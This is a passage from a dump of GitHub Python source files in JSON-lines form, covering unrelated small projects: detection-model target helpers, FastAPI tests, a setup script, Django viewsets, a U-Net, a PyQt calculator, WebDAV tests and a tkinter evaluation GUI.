{all_mae}')","repo_name":"joannaquinn/dissertation","sub_path":"neval_lstm.py","file_name":"neval_lstm.py","file_ext":"py","file_size_in_byte":6974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74609853317","text":"import torch\n\nfrom .transforms import bbox2delta\nfrom mmaction.utils.misc import multi_apply\n\n\ndef bbox_target(pos_bboxes_list,\n neg_bboxes_list,\n pos_gt_bboxes_list,\n pos_gt_labels_list,\n cfg,\n reg_classes=1,\n target_means=[.0, .0, .0, .0],\n target_stds=[1.0, 1.0, 1.0, 1.0],\n concat=True):\n (labels, label_weights, bbox_targets,\n bbox_weights, class_weights) = multi_apply(\n bbox_target_single,\n pos_bboxes_list,\n neg_bboxes_list,\n pos_gt_bboxes_list,\n pos_gt_labels_list,\n cfg=cfg,\n reg_classes=reg_classes,\n target_means=target_means,\n target_stds=target_stds)\n\n if concat:\n labels = torch.cat(labels, 0)\n label_weights = torch.cat(label_weights, 0)\n bbox_targets = torch.cat(bbox_targets, 0)\n bbox_weights = torch.cat(bbox_weights, 0)\n class_weights = torch.cat(class_weights, 0)\n return labels, label_weights, bbox_targets, bbox_weights, class_weights\n\n\ndef bbox_target_single(pos_bboxes,\n neg_bboxes,\n pos_gt_bboxes,\n pos_gt_labels,\n cfg,\n reg_classes=1,\n target_means=[.0, .0, .0, .0],\n target_stds=[1.0, 1.0, 1.0, 1.0]):\n num_pos = pos_bboxes.size(0)\n num_neg = neg_bboxes.size(0)\n num_samples = num_pos + num_neg\n if len(pos_gt_labels[0]) == 1:\n labels = pos_bboxes.new_zeros(num_samples, dtype=torch.long)\n else:\n labels = pos_bboxes.new_zeros(\n (num_samples, len(pos_gt_labels[0])), dtype=torch.long)\n label_weights = pos_bboxes.new_zeros(num_samples)\n if len(pos_gt_labels[0]) == 1:\n class_weights = pos_bboxes.new_zeros(num_samples)\n else:\n class_weights = pos_bboxes.new_zeros(\n num_samples, len(pos_gt_labels[0]))\n bbox_targets = pos_bboxes.new_zeros(num_samples, 4)\n bbox_weights = pos_bboxes.new_zeros(num_samples, 4)\n if num_pos > 0:\n labels[:num_pos] = pos_gt_labels\n pos_weight = 1.0 if cfg.pos_weight <= 0 else cfg.pos_weight\n label_weights[:num_pos] = pos_weight\n class_weight = 1.0 if not hasattr(\n cfg, 'cls_weight') or cfg.cls_weight <= 0 else cfg.cls_weight\n class_weights[:num_pos] = class_weight\n pos_bbox_targets = bbox2delta(pos_bboxes, pos_gt_bboxes, target_means,\n target_stds)\n bbox_targets[:num_pos, :] = pos_bbox_targets\n bbox_weights[:num_pos, :] = 1\n if num_neg > 0:\n label_weights[-num_neg:] = 1.0\n class_weights[-num_neg:] = 0.0\n\n return labels, label_weights, bbox_targets, bbox_weights, class_weights\n\n\ndef expand_target(bbox_targets, bbox_weights, labels, num_classes):\n bbox_targets_expand = bbox_targets.new_zeros((bbox_targets.size(0),\n 4 * num_classes))\n bbox_weights_expand = bbox_weights.new_zeros((bbox_weights.size(0),\n 4 * num_classes))\n for i in torch.nonzero(labels > 0).squeeze(-1):\n start, end = labels[i] * 4, (labels[i] + 1) * 4\n bbox_targets_expand[i, start:end] = bbox_targets[i, :]\n bbox_weights_expand[i, start:end] = bbox_weights[i, :]\n return bbox_targets_expand, bbox_weights_expand\n","repo_name":"open-mmlab/mmaction","sub_path":"mmaction/core/bbox2d/bbox_target.py","file_name":"bbox_target.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","stars":1843,"dataset":"github-code","pt":"62"} +{"seq_id":"15315608087","text":"import math\n\n\ndef get_1d_data(table, index):\n result = []\n for row in table:\n result.append(row[index])\n return result\n\n\ndef filter_descending_movement(data):\n result = []\n for i in range(len(data)):\n if data[i] > data[i + 1]:\n result.append(data[i])\n else:\n break\n return result\n\n\ndef change_to_meter(data):\n result = []\n for h in data:\n h_in_meter = 0.01 * (h + 9.577) + 0.68242641\n result.append(h_in_meter)\n return result\n\n\ndef theoretical_time(start_point, end_point, h, r, d):\n reff_squared = (r ** 2) - ((d / 2) ** 2)\n k = (r ** 2) / reff_squared\n g = 9.80665\n start_h = start_point[1]\n end_h = end_point[1]\n return math.sqrt((2 + 0.8 * k) / g) * (2 / math.sqrt(2)) * (((h - end_h) ** 0.5) - ((h - start_h) ** 0.5))\n\n\ndef get_h(mark):\n return 0.64 + 0.01 * (10 - mark) * (math.sqrt(2) / 2)","repo_name":"willjwon/snu-physlab1","sub_path":"1_3/compute.py","file_name":"compute.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13840707897","text":"from fastapi.testclient import TestClient\nfrom main import app\nfrom matching.queries.matching import MatchQueries\nfrom pydantic import BaseModel\nfrom authenticator import authenticator\n\nclient = TestClient(app)\n\n\nclass AccountOut(BaseModel):\n id: int\n username: str\n name: str\n age: int\n gender: str\n pronouns: str\n email: str\n profile_image: str | None\n banner_image: str | None\n about_me: str | None\n my_story: str | None\n preferences: str | None\n\n\nfake_match = {\n \"username\": \"mmorales\",\n \"id\": 36,\n \"tags\": [\n \"ADHD\",\n \"Anxiety\"\n ],\n \"about_me\": \"string\",\n \"profile_link\": \"string\",\n \"profile_image\": \"string\",\n \"gender\": \"Male\",\n \"pronouns\": \"he/him\"\n }\n\n\nclass FakeMatchQueries:\n def get_matches(self, tag):\n if tag in fake_match[\"tags\"]:\n return {\"matches\": [fake_match]}\n else:\n return {\"matches\": []}\n\n\ndef fake_get_current_account_data():\n return AccountOut(\n id=0,\n username=\"string\",\n name=\"string\",\n age=0,\n gender=\"string\",\n pronouns=\"string\",\n email=\"string\",\n profile_image=\"string\",\n banner_image=\"string\",\n about_me=\"string\",\n my_story=\"string\",\n preferences=\"string\",\n )\n\n\ndef test_get_matches():\n app.dependency_overrides[authenticator.get_current_account_data] = (\n fake_get_current_account_data\n )\n app.dependency_overrides[MatchQueries] = FakeMatchQueries\n\n response = client.get(\"/api/matches/ADHD\")\n\n app.dependency_overrides = {}\n\n assert response.status_code == 200\n assert response.json() == {\"matches\": [fake_match]}\n\n\ndef test_no_matches():\n app.dependency_overrides[authenticator.get_current_account_data] = (\n fake_get_current_account_data\n )\n app.dependency_overrides[MatchQueries] = FakeMatchQueries\n\n response = client.get(\"/api/matches/null\")\n\n app.dependency_overrides = {}\n\n assert response.status_code == 200\n assert response.json() == {\"matches\": []}\n","repo_name":"wsrn829/ThriveTogether","sub_path":"api/test/test_matches.py","file_name":"test_matches.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"23190687910","text":"import configparser\nimport os\nfrom setuptools import find_packages, setup\nfrom typing import List, Dict\n\nfrom recipe_package_template.about import __title__, __version__, __summary__, __author__\n\n# Available options: https://pypi.org/search/\n\n__NAME__: str = __title__\n__LICENSE_DESCRIPTION__: str = \"Proprietary\"\n__PYTHON_REQUIRES__: str = \"==3.10.*\"\n__CLASSIFIERS__: List[str] = [\n \"Development Status :: 1 - Planning\"\n \"Intended Audience :: Developers\"\n \"Intended Audience :: Science/Research\"\n \"License :: Other/Proprietary/License\"\n \"Operating System :: OS Independent\"\n \"Programming Language :: Python :: 3\"\n \"Programming Language :: Python :: 3.10\"\n \"Programming Language :: Python :: Implementation :: CPython\"\n \"Topic :: Scientific/Engineering :: Artificial Intelligence\"\n \"Typing :: Typed\",\n \"Natural Language :: English\"\n]\n\n__INSTALL_REQUIRES__: List[str] = []\nconfig = configparser.ConfigParser(strict=False)\nconfig.read(\"Pipfile\")\nfor dep in config[\"packages\"]:\n version = config[\"packages\"][dep][1:-1]\n if version[0] in {\"=\", \">\", \"<\"}:\n __INSTALL_REQUIRES__.append(dep + version)\n else:\n __INSTALL_REQUIRES__.append(dep)\n\n__ENTRY_POINTS__: Dict[str, List[str]] = {\n \"console_scripts\": [\"recipe-package-template=recipe_package_template.__main__:main\"]\n}\n\n__PACKAGE_EXCLUDES__: List[str] = [\"*.tests\", \"*.tests.*\", \"tests.*\", \"tests\"]\n\nif __name__ == \"__main__\":\n setup(\n name=__NAME__,\n description=__summary__,\n long_description=open(os.path.join(os.path.dirname(__file__), \"README.md\")).read(),\n version=__version__,\n author=__author__,\n license=__LICENSE_DESCRIPTION__,\n packages=find_packages(exclude=__PACKAGE_EXCLUDES__),\n install_requires=__INSTALL_REQUIRES__,\n python_requires=__PYTHON_REQUIRES__,\n classifiers=__CLASSIFIERS__,\n # command_options={\"nuitka\": {\"no-pyi-file\": None}},\n entry_points=__ENTRY_POINTS__\n )\n","repo_name":"epalogiannidi/recipe-package-template","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21605250328","text":"from django.views.generic import TemplateView\nfrom django.views.decorators.cache import never_cache\nfrom django.contrib.auth.models import User\nfrom backend.animals.models import Animal, Category, Tag\nfrom rest_framework import viewsets, generics\nfrom backend.animals.serializers import UserSerializer, CategorySerializer, AnimalSerializer, TagSerializer\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n queryset = User.objects.all().order_by('-date_joined')\n serializer_class = UserSerializer\n pagination_class = None\n\n\nclass CategoryViewSet(viewsets.ModelViewSet):\n queryset = Category.objects.all()\n serializer_class = CategorySerializer\n pagination_class = None\n\n\nclass TagViewSet(viewsets.ModelViewSet):\n queryset = Tag.objects.all()\n serializer_class = TagSerializer\n pagination_class = None\n\n\nclass AnimalViewSet(viewsets.ModelViewSet):\n queryset = Animal.objects.all()\n serializer_class = AnimalSerializer\n\n def get_queryset(self):\n queryset = Animal.objects.all()\n name = self.request.query_params.get('name', None)\n category = self.request.query_params.get('category', None)\n tags = self.request.query_params.get('tags', None)\n if name is not None:\n queryset = queryset.filter(name__icontains=name)\n if category is not None:\n queryset = queryset.filter(category__pk=category)\n if tags is not None:\n queryset = queryset.filter(tags__pk__in=tags.split(\",\")).distinct()\n return queryset\n\n\n# Serve Single Page Application\nindex = never_cache(TemplateView.as_view(template_name='index.html'))\n","repo_name":"marco-mazzocchi/totem","sub_path":"backend/animals/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34209721546","text":"from torch.nn import Module\r\nfrom torch.nn import Sequential\r\n\r\nfrom torch.nn import Conv2d\r\nfrom torch.nn import BatchNorm2d\r\nfrom torch.nn import MaxPool2d\r\nfrom torch.nn import ReLU\r\nfrom torch.nn import ConvTranspose2d\r\n\r\nfrom torch import cat\r\n\r\n\r\n\r\ndef double_conv_block(channel_in, channel_out):\r\n \r\n conv_block = Sequential(\r\n Conv2d(channel_in, channel_out, 3, 1 ,1),\r\n ReLU(),\r\n BatchNorm2d(channel_out)\r\n )\r\n return conv_block\r\n \r\n\r\n\r\n\r\n\r\ndef decoder_deconv_block(channel_in, channel_out):\r\n \r\n deconv_block = Sequential(\r\n ConvTranspose2d(channel_in, channel_out, 2, 2)\r\n )\r\n return deconv_block\r\n \r\n \r\nclass UNet(Module):\r\n \r\n def __init__(self):\r\n super(UNet, self).__init__()\r\n \r\n self.encoder_double_conv_block_1 = double_conv_block(3, 64)\r\n self.encoder_double_conv_block_2 = double_conv_block(64, 128)\r\n self.encoder_double_conv_block_3 = double_conv_block(128, 256)\r\n self.encoder_double_conv_block_4 = double_conv_block(256, 512)\r\n self.encoder_double_conv_block_5 = double_conv_block(512, 1024)\r\n \r\n self.max_pool_2d = MaxPool2d(kernel_size=2, stride=2)\r\n \r\n self.decoder_conv_block_1 = double_conv_block(1024, 512)\r\n self.decoder_conv_block_2 = double_conv_block(512, 256)\r\n self.decoder_conv_block_3 = double_conv_block(256, 128)\r\n self.decoder_conv_block_4 = double_conv_block(128, 64)\r\n \r\n self.decoder_deconv_block_1 = decoder_deconv_block(1024, 512)\r\n self.decoder_deconv_block_2 = decoder_deconv_block(512, 256)\r\n self.decoder_deconv_block_3 = decoder_deconv_block(256, 128)\r\n self.decoder_deconv_block_4 = decoder_deconv_block(128, 64)\r\n \r\n self.output_conv = Conv2d(64, 1, kernel_size=1)\r\n \r\n def forward(self, image):\r\n \r\n # encoder step\r\n \r\n out_1 = self.encoder_double_conv_block_1(image)\r\n out_2 = self.max_pool_2d(out_1)\r\n \r\n out_3 = self.encoder_double_conv_block_2(out_2)\r\n out_4 = self.max_pool_2d(out_3)\r\n \r\n out_5 = self.encoder_double_conv_block_3(out_4)\r\n out_6 = self.max_pool_2d(out_5)\r\n \r\n out_7 = self.encoder_double_conv_block_4(out_6)\r\n out_8 = self.max_pool_2d(out_7)\r\n \r\n out_9 = self.encoder_double_conv_block_5(out_8)\r\n \r\n # decoder step\r\n \r\n out_10 = self.decoder_deconv_block_1(out_9)\r\n out_11 = cat((out_10, out_7), dim=1)\r\n out_12 = self.decoder_conv_block_1(out_11)\r\n \r\n out_13 = self.decoder_deconv_block_2(out_12)\r\n out_14 = cat((out_13, out_5), dim=1)\r\n out_15 = self.decoder_conv_block_2(out_14)\r\n \r\n out_16 = self.decoder_deconv_block_3(out_15)\r\n out_17 = cat((out_16, out_3), dim=1)\r\n out_18 = self.decoder_conv_block_3(out_17)\r\n \r\n out_19 = self.decoder_deconv_block_4(out_18)\r\n out_20 = cat((out_19, out_1), dim=1)\r\n out_21 = self.decoder_conv_block_4(out_20)\r\n \r\n final_out = self.output_conv(out_21)\r\n \r\n return final_out\r\n \r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"KordianChi/U-Net_on_OxfordIIITPet","sub_path":"unet_model.py","file_name":"unet_model.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19071187104","text":"import sys\nfrom PyQt5 import QtWidgets as qtw\nfrom PyQt5 import QtGui as qtg\nfrom PyQt5 import QtCore as qtc\nfrom functools import partial\n\nclass MainWindow(qtw.QWidget):\n\n\tpossible_operations = ['+', '-', '*', '/', '.', '^', '(', ')']\n\tvalues = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n\toperation = ''\n\n\tdef __init__(self):\n\t\tsuper().__init__()\n\n\t\tself.setWindowTitle(\"My awesome calculator\")\n\t\tself.resize(500,500)\n\t\tself.main_layout = qtw.QVBoxLayout()\n\t\tself.setLayout(self.main_layout)\n\n\t\tself.screen = qtw.QLabel('Welcome')\n\t\tself.main_layout.addWidget(self.screen)\n\n\t\tself.screen.setSizePolicy(qtw.QSizePolicy.Minimum, qtw.QSizePolicy.Minimum)\n\t\tself.screen.setFont(qtg.QFont('Arial',32))\n\n\t\tself.create_buttons()\n\n\t\tself.show()\n\n\tdef create_buttons(self):\n\t\t\"\"\"Very useful way to create a set of widgets which are all more or less the same\"\"\"\n\t\tself.buttons = {}\n\t\tbuttons_layout = qtw.QGridLayout()\n\t\tbuttons = {\n\t\t\t'^':(0,0),\n\t\t\t'(':(0,1),\n\t\t\t')':(0,2),\n\t\t\t'/':(0,3),\n\t\t\t'7':(1,0),\n\t\t\t'8':(1,1),\n\t\t\t'9':(1,2),\n\t\t\t'*':(1,3),\n\t\t\t'4':(2,0),\n\t\t\t'5':(2,1),\n\t\t\t'6':(2,2),\n\t\t\t'-':(2,3),\n\t\t\t'1':(3,0),\n\t\t\t'2':(3,1),\n\t\t\t'3':(3,2),\n\t\t\t'+':(3,3),\n\t\t\t'0':(4,0),\n\t\t\t'.':(4,1),\n\t\t\t'C':(4,2),\n\t\t\t'=':(4,3),\n\t\t\t'del':(4,4),\n\t\t}\n\t\tfor btntext, pos in buttons.items():\n\t\t\t\n\t\t\tself.buttons[btntext] = qtw.QPushButton(btntext)\n\t\t\t#Connecting signals to the appropriate slots\n\t\t\tif btntext in self.values or btntext in self.possible_operations:\n\t\t\t\t\"\"\"Here we use partial (from functools) to pass an argument to the slot. Notice that you cannot use a lambda function, as it will pass the current value of btntext, \n\t\t\t\twhich after the buttons have been setup is always '=' (ie the key of the last button defined)\"\"\"\n\t\t\t\tself.buttons[btntext].clicked.connect(partial(self.prep_operation, btntext))\n\n\t\t\telif btntext == 'C':\n\t\t\t\t self.buttons[btntext].clicked.connect(self.clear_screen)\n\n\t\t\telif btntext == '=':\n\t\t\t\tself.buttons[btntext].clicked.connect(self.do_operation)\n\n\t\t\telif btntext == 'del':\n\t\t\t\tself.buttons[btntext].clicked.connect(self.del_value)\n\n\t\t\t#sizing the various buttons\n\t\t\tself.buttons[btntext].setSizePolicy(qtw.QSizePolicy.Expanding, qtw.QSizePolicy.Expanding)\n\t\t\tbuttons_layout.addWidget(self.buttons[btntext], pos[0], pos[1])\n\n\t\tself.main_layout.addLayout(buttons_layout)\n\n\tdef prep_operation(self, val):\n\t\t\n\t\tl = len(self.operation)\n\t\tif l == 0:\n\t\t\tif val in self.values + ['(', ')']:\n\t\t\t\tself.operation += val\n\t\t\t\tself.screen.setText(self.operation)\n\t\t\telse:\n\t\t\t\tpass\n\t\t\t\t\n\t\t\treturn\n\n\t\t\"\"\"f we are storing the result of the previous operation, then we clear the screen if the user enters a new digit, or we use the result of the previous operation \n\t\tif the user enters an operator (+,-,*...)\"\"\"\n\t\tif self.operation[-1] == '_':\n\t\t\tself.operation = self.operation[:-1]\n\t\t\tif val in self.possible_operations:\n\t\t\t\tself.operation += val \n\t\t\telse:\n\t\t\t\tself.operation = val\n\t\t\tself.screen.setText(self.operation)\n\t\t\treturn\n\n\t\ttry:\n\t\t\tx = int(val)\n\t\t\tself.operation += val \n\t\texcept ValueError:\n\t\t\tif val == ('(' or ')'):\n\t\t\t\tself.operation += val\n\t\t\telif self.operation[l-1] not in self.possible_operations:\n\t\t\t\tself.operation += val\n\t\t\telse:\n\t\t\t\tself.operation = self.operation[:-1]\n\t\t\t\tself.operation += val\n\t\texcept Exception as e:\n\t\t\tself.screen.setText(f\"Error: {str(e)}\")\n\n\t\tself.screen.setText(self.operation)\n\n\t#Function that performes the operation stored in self.operation, called when the \"=\" button is pressed\n\tdef do_operation(self):\n\t\t\n\t\ttry:\n\t\t\tresult = eval(self.operation.replace('^', '**'), {\"__builtins__\": {}}, {})\n\t\texcept:\n\t\t\tresult = \"Error\"\n\t\tself.screen.setText(str(result))\n\t\tself.operation = str(result) + '_'\n\n\t#Simply clears the screen and resets self.operation to an empty string: called when the clear (C) button is pressed\n\tdef clear_screen(self):\n\t\tself.screen.setText('')\n\t\tself.operation = ''\n\n\t#Function called when the delete button is pressed. Removes one char from self.operation, and does nothing if it is empty\n\tdef del_value(self):\n\t\tif len(self.operation) == 0:\n\t\t\treturn\n\t\tif self.operation == 'Error_':\n\t\t\tself.clear_screen()\n\t\t#If the user has just hit enter, the underscore is appended to the operation string to change the behaviour of the \"prepare_operation slot\". \n\t\t#We need to delete that and the previous character\n\t\telif self.operation[-1] == '_':\n\t\t\tself.operation = self.operation[:-2]\n\t\telse:\n\t\t\tself.operation = self.operation[:-1]\n\t\tprint(self.operation)\n\t\tself.screen.setText(self.operation)\n\nif __name__ == '__main__':\n\tapp = qtw.QApplication(sys.argv)\n\tmw = MainWindow()\n\tsys.exit(app.exec())","repo_name":"malga94/GUI_calculator","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":4570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39785601872","text":"try:\n import datetime\nexcept ImportError as e:\n raise e\n\n\ndef internal_validation(param, value_list):\n if param in value_list:\n return True\n else:\n print('{0}\\tComand line error. Invalid parameter: {1}'.format(datetime.datetime.now(), param))\n return False\n\n\ndef load_valid(command):\n c_type = ('gps',\n 'glonass',)\n c_method = ('raw',)\n c_key = ('alma',\n 'eph',\n 'stat',\n 'brdc',\n 'bull',)\n c_value = ('none',\n 'rapid',\n 'final',\n 'const',\n 'stark',\n 'daily',\n 'weekly',\n 'monthly',)\n return internal_validation(command[1], c_type) and \\\n internal_validation(command[2], c_method) and \\\n internal_validation(command[3], c_key) and \\\n internal_validation(command[4], c_value)\n\n\ndef cfg_validation(command):\n c_type = ('etherius', 'glonass', 'gps')\n c_method = ('get', 'set')\n return internal_validation(command[1], c_type) and \\\n internal_validation(command[2], c_method)\n\n\ndef command_validation(command, arg_num):\n \"\"\"Simple command validation function\"\"\"\n # print('comm validation: {0}, arg number: {1}'.format(command, arg_num))\n if (command[0] == 'config' and arg_num == 5):\n # print('{0}\\tConfig command Ok'.format(datetime.datetime.now()))\n return (True and cfg_validation(command))\n elif (command[0] == 'load' and arg_num == 5):\n return (True and load_valid(command))\n else:\n print('{0}\\tCommand argument error'.format(datetime.datetime.now()))\n print('{0}\\tYou entered {1} arguments. Expected 5'.format(datetime.datetime.now(), arg_num))\n return False\n","repo_name":"roch1990/etherius","sub_path":"src/cmd/cmd_valid.py","file_name":"cmd_valid.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37727746592","text":"import unittest\nfrom io import BytesIO\n\nfrom src.config import load_config\nfrom src.enums import ServiceType\nfrom src.models.connect import connect_db\nfrom src.services.webdav import WebDavServiceBase\n\n\nclass MyTestCase(unittest.TestCase):\n def test_something(self):\n config = load_config()\n d = WebDavServiceBase(config.api[ServiceType.WebDav]['default'])\n d.ensure_dir(\"default\", \"overflowtest\")\n d.write_file(ServiceType.Twitter, 'Strangestone', 'test.txt', BytesIO(\"foobar\".encode('utf-8')))\n\n def test_info(self):\n config = load_config()\n d = WebDavServiceBase(config.api[ServiceType.WebDav]['new'])\n print(d.dir_exists('twitter'))\n print(d.dir_exists('notexists'))\n\n def test_create_dir(self):\n config = load_config()\n connect_db()\n d = WebDavServiceBase(config.api[ServiceType.WebDav]['cos'])\n d.ensure_dir('cos', 'twitter/fffff')\n # d.client.mkdir('twitter/fffff')\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"atsunaakiya/octobot3","sub_path":"tests/webdav_tests.py","file_name":"webdav_tests.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"3560531271","text":"import cv\nif __name__ == '__main__':\n capture = cv.CreateFileCapture('video.fifo')\n loop = True\n while(loop):\n frame = cv.QueryFrame(capture)\n if (frame == None):\n break;\n cv.ShowImage('Wild Life', frame)\n char = cv.WaitKey(33)\n if (char != -1):\n if (ord(char) == 27):\n loop = False\n\n","repo_name":"mhaut/pythonExamples","sub_path":"videosocket/lectorpython2.py","file_name":"lectorpython2.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73762754436","text":"# -*- coding:utf-8 -*-\r\nclass TreeNode:\r\n def __init__(self, x):\r\n self.val = x\r\n self.next = None\r\nimport heapq\r\n\r\nclass MedianFinder:\r\n\r\n def __init__(self):\r\n \"\"\"\r\n initialize your data structure here.\r\n \"\"\"\r\n self.lefts = []\r\n self.rights = []\r\n\r\n def addNum(self, num: int) -> None:\r\n if len(self.lefts) == 0:\r\n heapq.heappush(self.lefts,-num)\r\n elif num <= -self.lefts[0]:\r\n heapq.heappush(self.lefts, -num)\r\n else:\r\n heapq.heappush(self.rights, num)\r\n while len(self.lefts) - len(self.rights) >= 2:\r\n ni = heapq.heappop(self.lefts) * -1\r\n heapq.heappush(self.rights, ni)\r\n while len(self.rights) - len(self.lefts) >= 1:\r\n ni = heapq.heappop(self.rights)\r\n heapq.heappush(self.lefts, -ni)\r\n\r\n def findMedian(self) -> float:\r\n if len(self.lefts) > len(self.rights):\r\n return -self.lefts[0]\r\n else:\r\n return (-self.lefts[0] + self.rights[0]) * 1.0 / 2\r\n\r\n\r\n# Your MedianFinder object will be instantiated and called as such:\r\n# obj = MedianFinder()\r\n# obj.addNum(num)\r\n# param_2 = obj.findMedian()\r\n\r\n\r\nif __name__ == '__main__':\r\n p1 = TreeNode(1)\r\n p2 = TreeNode(2)\r\n p3 = TreeNode(3)\r\n p4 = TreeNode(4)\r\n p5 = TreeNode(4)\r\n p1.next = p2\r\n p2.next = p3\r\n p3.next = p4\r\n p4.next = p5\r\n p5.next = p3\r\n s = Solution()\r\n s.EntryNodeOfLoop(p3)\r\n","repo_name":"lkjie/leetcode","sub_path":"jz_offer/test41.py","file_name":"test41.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42738474053","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom pathlib import Path\n\nimport codecs \n\n\n#Input Format: Pointer: Correctness, conditions, real conditions, reason Failure\ndef appendSen(evalSen_path, i, isCorrect, conditions, solution, failure):\n sCondition = ', '.join(conditions)+\"]\"\n\n sResult = '{}: {}, [\"{}\", \"{}\", \"{}\"\\n'.format(i, isCorrect, sCondition, solution, failure)\n print(sResult)\n \n file = codecs.open(evalSen_path, 'a', 'utf-8')\n file.write(sResult)\n file.close()\n\n\n## GUI for Eval #####################################################################################\nevalAnswer = False\n\ndef callEvaluateExpConDialog(sentence, conditions):\n global evalAnswer\n global solution\n global failReason\n \n showEvaluateExpConDialog(sentence, conditions)\n return [evalAnswer, solution, failReason]\n\n\n#input: sentence, conditions (list of strings)\n#output: correct, fail\ndef showEvaluateExpConDialog(sentence, conditions):\n #show dialog window to add rule for given sentence\n evalWindow = Tk()\n evalWindow.title(\"Evaluation of GBCE\")\n\n w = 800 # width for window\n h = 700 # height for window\n\n canvas = Canvas(evalWindow, width=w, height=h)\n canvas.pack()\n\n #========================================= Pane ====================================================================\n showPane = Frame(evalWindow)\n showPane.place(relx=0.05, rely=0.05, relwidth=0.9, relheight=0.2)\n\n topicPane = Frame(evalWindow)\n topicPane.place(relx=0.05, rely=0.225, relwidth=0.9, relheight=0.1)\n\n scrollbarPane = Frame(evalWindow)\n scrollbarPane.place(relx=0.05, rely=0.3, relwidth=0.9, relheight=0.25)\n\n scrollbar = Scrollbar(scrollbarPane)\n scrollbar.pack( side = RIGHT, fill = Y )\n mylist = Listbox(scrollbarPane, yscrollcommand = scrollbar.set) \n for condition in conditions:\n mylist.insert(END, condition)\n mylist.pack(fill = BOTH )\n scrollbar.config( command = mylist.yview )\n\n \n failReasonPane = Frame(evalWindow)\n failReasonPane.place(relx=0.05, rely=0.5, relwidth=0.9, relheight=0.1)\n \n \n solutionPane = Frame(evalWindow)\n solutionPane.place(relx=0.05, rely=0.6, relwidth=0.9, relheight=0.1)\n\n evalPane = Frame(evalWindow)\n evalPane.place(relx=0.05, rely=0.7, relwidth=0.9, relheight=0.1)\n\n buttonPane = Frame(evalWindow)\n buttonPane.place(relx=0.05, rely=0.8, relwidth=0.9, relheight=0.05)\n\n #========================================== Actions ================================================================\n #ok button got invoked\n def button_ok():\n global evalAnswer\n global solution\n global failReason\n evalAnswer = selectedVar.get()\n failReason = eFailReason.get()\n solution = eSolution.get()\n evalWindow.destroy()\n\n def button_cancel():\n if messagebox.askokcancel(\"Quit\", \"Are you sure you want to cancel the evaluation?\"):\n evalWindow.destroy()\n sys.exit()\n\n #========================================= showPane ================================================================\n sentenceText = Text(showPane, wrap=WORD, width=evalWindow.winfo_screenwidth(), height=8)\n sentenceText.insert(INSERT, sentence)\n sentenceText.pack(side=\"top\")\n sentenceText.config(font=(\"Courier\", 12))\n sentenceText[\"state\"] = DISABLED\n\n #========================================= topicPane ==============================================================\n topicText = Label(topicPane, text=\"Conditions: \\n\")\n\n topicText.pack(side=\"left\")\n topicText.config(font=(\"Courier\", 12))\n\n #========================================= FailReasonPane ===========================================================\n eFailReason = Entry(failReasonPane, width = 100)\n eFailReason.pack(side=\"right\")\n labelFailReason = Label(failReasonPane, text = \"Reason Failure: \")\n labelFailReason.pack(side=\"left\")\n #========================================= SolutionPane ===========================================================\n eSolution = Entry(solutionPane, width = 100)\n eSolution.pack(side=\"right\")\n labelSolution = Label(solutionPane, text = \"Model Solution: \")\n labelSolution.pack(side=\"left\")\n\n #========================================== EvalPane ===============================================================\n selectedVar = BooleanVar()\n rbC = Radiobutton(evalPane, text=\"Correct\", variable=selectedVar, value=True)\n rbC.pack(side=\"left\")\n rbC.config(font=(\"Courier\", 12))\n rbnC = Radiobutton(evalPane, text=\"Not Correct\", variable=selectedVar, value=False)\n rbnC.pack(side=\"right\")\n rbnC.config(font=(\"Courier\", 12))\n rbnC.invoke()\n\n\n #========================================= buttonPane ================================================================\n add_button = Button(buttonPane, text=\"OK\", command=button_ok, padx=20)\n add_button.pack(side=\"left\")\n add_button.config(font=(\"Courier\", 12))\n cancel_button = Button(buttonPane, text=\"Close\", command=button_cancel, padx=20)\n cancel_button.pack(side=\"right\")\n cancel_button.config(font=(\"Courier\", 12))\n\n #this will trigger when the window is close with the 'X' in the upper right corner\n evalWindow.protocol(\"WM_DELETE_WINDOW\", button_cancel) #terminate program\n\n mainloop()\n","repo_name":"Foisunt/STEREO","sub_path":"Code/GBCE/evalHelpFunc.py","file_name":"evalHelpFunc.py","file_ext":"py","file_size_in_byte":5350,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"42353150552","text":"from attr import dataclass\nfrom task_creator import TaskCreator\nfrom argparse import ArgumentParser\n\nimport yaml\nimport os\nimport re\n\n\n@dataclass\nclass TaskConfiguration:\n type: str\n enabled: bool\n\n def to_yaml_entry(self):\n yaml_dict = dict()\n yaml_dict[\"type\"] = self.type\n yaml_dict[\"enabled\"] = self.enabled\n\n return {\"task_configuration\": 